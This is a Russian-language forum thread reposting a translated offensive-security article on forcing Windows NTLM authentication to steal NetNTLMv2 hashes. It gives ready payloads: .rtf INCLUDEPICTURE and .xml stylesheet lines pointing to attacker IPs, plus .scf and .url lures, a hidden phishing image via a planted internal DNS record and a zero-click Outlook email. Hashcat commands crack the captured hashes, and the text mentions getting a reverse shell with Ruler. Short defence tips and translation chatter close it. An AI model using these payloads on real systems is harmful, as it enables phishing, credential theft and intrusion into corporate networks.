Статья Наступательная Безопасность - Инфраструктура Красной команды

[Titan]

Принудительная аутентификация

Доступ к учетным данным, кража хэшей

Выполнение через гиперссылку

Давайте создадим документ Word с гиперссылкой на наш атакующий сервер, где ответчик будет прослушивать порт 445:

Давайте запустим Responder на нашем kali-боксе:

После перехода по ссылке в документе целевая система отправляет запрос аутентификации атакующему хосту. Поскольку ответчик прослушивает другой конец, хэш NetNTLMv2 жертвы перехватывается:

Затем полученный хэш можно взломать в автономном режиме с помощью hashcat:

hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.0.0.2.txt /usr/share/wordlists/rockyou.txt --force

Успешно, пароль взломан:

Использование взломанного пароля для получения оболочки в системе жертвы:

Исполнение через .SCF

Поместите приведенный ниже файл fa.scf на компьютер, контролируемый злоумышленником, по адресу 10.0.0.7 в общей папке tools.

Пользователь-жертва low открывает общий ресурс \\10.0.0.7\tools, и fa.scf запускается автоматически, что, в свою очередь, заставляет систему-жертву попытаться аутентифицироваться в атакующей системе на 10.0.0.5, где респонер слушает адрес:

Что интересно с атакой .scf, так это то, что файл может быть легко загружен через браузер, и как только пользователь переходит в папку Загрузки, пользовательский хеш украден:

Исполнение через .URL

Создайте файл .url и загрузите его в систему жертвы:

Создайте прослушиватель в атакующей системе:

Как только жертва переходит на C:\, где находится файл link.url, ОС пытается аутентифицироваться на вредоносном прослушивателе SMB злоумышленника на 10.0.0.5, где захвачен хэш NetNTLMv2:

Исполнение через .RTF

Опасный .rtf-файл, который попытается загрузить образ из атакующей системы:

{\rtf1{\field{\\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\ MERGEFORMAT\\d}}{\fldrslt}}}

Запускаем слушателя аутентификации на атакующей системе:

Выполняем файла .rtf в системе-жертве выдает хэши пользователя:

Выполнение через .XML

Документы MS Word можно сохранить в формате .xml:

Это можно использовать, включив тег, который запрашивает таблицу стилей документа (строка 3) с сервера, контролируемого злоумышленником. Система-жертва поделится своими хэшами NetNTLM со злоумышленником при попытке пройти аутентификацию в системе злоумышленника:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>

Ниже показана атака:

Выполнение через поле IncludePicture

Создайте новый документ Word и вставьте новое поле IncludePicture:

Сохраните файл как .xml. Обратите внимание, что скрытая ссылка на изображение присутствует в XML:

Запуск документа сразу выдает хэши жертвы:

Выполнение через образ HTTP и внутренний DNS

Если у нас есть плацдарм в сети, мы можем сделать следующее:

- Создайте новую DNS-запись A (это может сделать любой аутентифицированный пользователь) внутри домена, скажем offense .local, у вас есть плацдарм, и укажите ее на внешний сервер, скажем, 1.1.1.1

- Для этого используйте PowerMad( Для просмотра ссылки Войди или Зарегистрируйся) : Invoke-DNSUpdate -dnsname vpn -dnsdata 1.1.1.1

- На вашем контролируемом сервере 1.1.1.1 запустите Responder и прослушивайте HTTP-соединения на порту 80.

- Создайте фишинговое письмо, содержащее <img src = "Для просмотра ссылки Войди или Зарегистрируйся"/>

- Не стесняйтесь делать изображение 1x1 px или скрытым

- Обратите внимание, что Для просмотра ссылки Войди или Зарегистрируйся разрешается в 1.1.1.1 (где ваш ответчик прослушивает порт 80), но только внутри домена Offense.local.

- Отправьте фишинг целевым пользователям из домена offense .local

- Получатели фишинга просматривают электронное письмо, которое автоматически пытается загрузить изображение с Для просмотра ссылки Войди или Зарегистрируйся, которое разрешается в Для просмотра ссылки Войди или Зарегистрируйся (где Responder использует порт 80)

- Responder ловит хэши NetNLTMv2 для целевых пользователей без необходимости взаимодействия с пользователем

- Начинайте взламывать хэши

- Ожидайте профита

Фармер WebDav

Находясь внутри сети, мы можем попытаться вызвать утечку хэшей от других пользователей, заставив их аутентифицироваться на нашем сервере WebDav, который мы можем привязать к любому неиспользуемому порту без прав администратора. Для этого мы можем использовать инструмент под названием Farmer (Для просмотра ссылки Войди или Зарегистрируйся) от @domchell (Для просмотра ссылки Войди или Зарегистрируйся) .

Ниже заставим фармера прослушивать порт 7443:

Ниже показано, как Farmer успешно собирает хэш для пользователя spotless, когда он вынужден проходить аутентификацию на вредоносном webdav при выполнении ls \\spotless@7443\spotless.png:

Ниже показано, как Farmer успешно собирает хеш от пользователя spotless с помощью ярлыка, который указывает на наш вредоносный веб-сайт по адресу \\spotless@3443\spotless.png:

 

[Titan]

Кража хэша NetNTLMv2 с помощью Outlook

Если целевая система не работает с последней версией Windows/Outlook, может быть возможно создать такое электронное письмо, которое позволит злоумышленнику украсть хэши NetNTLMv2 жертвы без какого-либо вмешательства со стороны пользователя — достаточно щелкнуть по электронной почте для предварительного просмотра чтобы украсть хэши.

Обратите внимание, что эта атака не работает на самых последних версиях Windows 10 и Outlook 2016, поэтому, как всегда, применяйте исправления как можно раньше и чаще.

Вооружение

Давайте создадим новый файл HTML со следующим:

Файл RTF также работает:

{\rtf1{\field{\\fldinst {INCLUDEPICTURE "file://157.230.60.143/test.jpg" \\ MERGEFORMAT\\d}}{\fldrslt}}}

Затем вставьте новый файл, щелкнув значок вложения в верхней части строки заголовка окна:

Выберите вредоносный файл message.html и выберите Вставить как текст:

Вы должны увидеть, что ваше сообщение теперь выглядит как HTML с неработающим изображением (в нашем случае это ожидаемо, так как путь к изображению является поддельным):

Исполнение

Запустите Responder для прослушивания входящих запросов аутентификации SMB от жертвы.

..и отправьте вредоносное электронное письмо жертве.

Просмотр жертвы

Как только жертва откроет свой Outlook и нажмет на вредоносное письмо, чтобы просмотреть его, его машина попытается пройти аутентификацию на сервере, контролируемом злоумышленником (работает Responder). Это передаст злоумышленнику хэши NetNTLMv2 жертвы, которые он затем может попытаться взломать:

Как только хэш будет украден, мы можем попытаться его взломать:

hashcat -m5600 'spotless::OFFENSE:6bdb56c8140cf8dc:FFEF94D55C2EB2DE8CF13F140687AD7A:0101000000000000A5A01FB2BE9ED401114D47C1916811640000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000200000407D7D30819F03909981529F6ACA84502CFCC8B3555DBA34316F8914973DD03C0A0010000000000000000000000000000000000009001A0063006900660073002F00310030002E0030002E0030002E0035000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable

В этом случае мы видим, что у пользователя был смехотворно простой пароль, который сразу же был взломан:

Следующим шагом будет использование Ruler для получения реверс оболочки из корпоративной сети жертвы:

Защита

• Пропатчить Windows и Outlook
• Блокировать исходящих SMB-подключений к Интернету
• Читать письма в виде обычного текста
• Использовать надежные пароли

 

[whitearmor]

yashechka пожалуйста не переводи термины при переводе
Можешь прям на английском их и оставлять либо в скобках давать перевод когда первый раз термин используется

 

[Titan]

Приведи пару примеров плиз.

 

[whitearmor]

Типа такого.В первом случае гораздо лучше было бы написать stageless payload.
Да, смысл тот же,но на 1 слово меньше и что такое stageless payload можно загуглить,в отличии от "бесступенчатой полезной нагрузки"
Во втором случае что значит "предки" я даже не понял.Родительский процесс?

 

[Titan]

Понял хорошо. Ну тут про процесс, родитель и его потомок, а он наследник и это их родословная

 

[Famero]

Подскажите а возможно настроить свой субдомен а не дефолтные 15 рандомных символов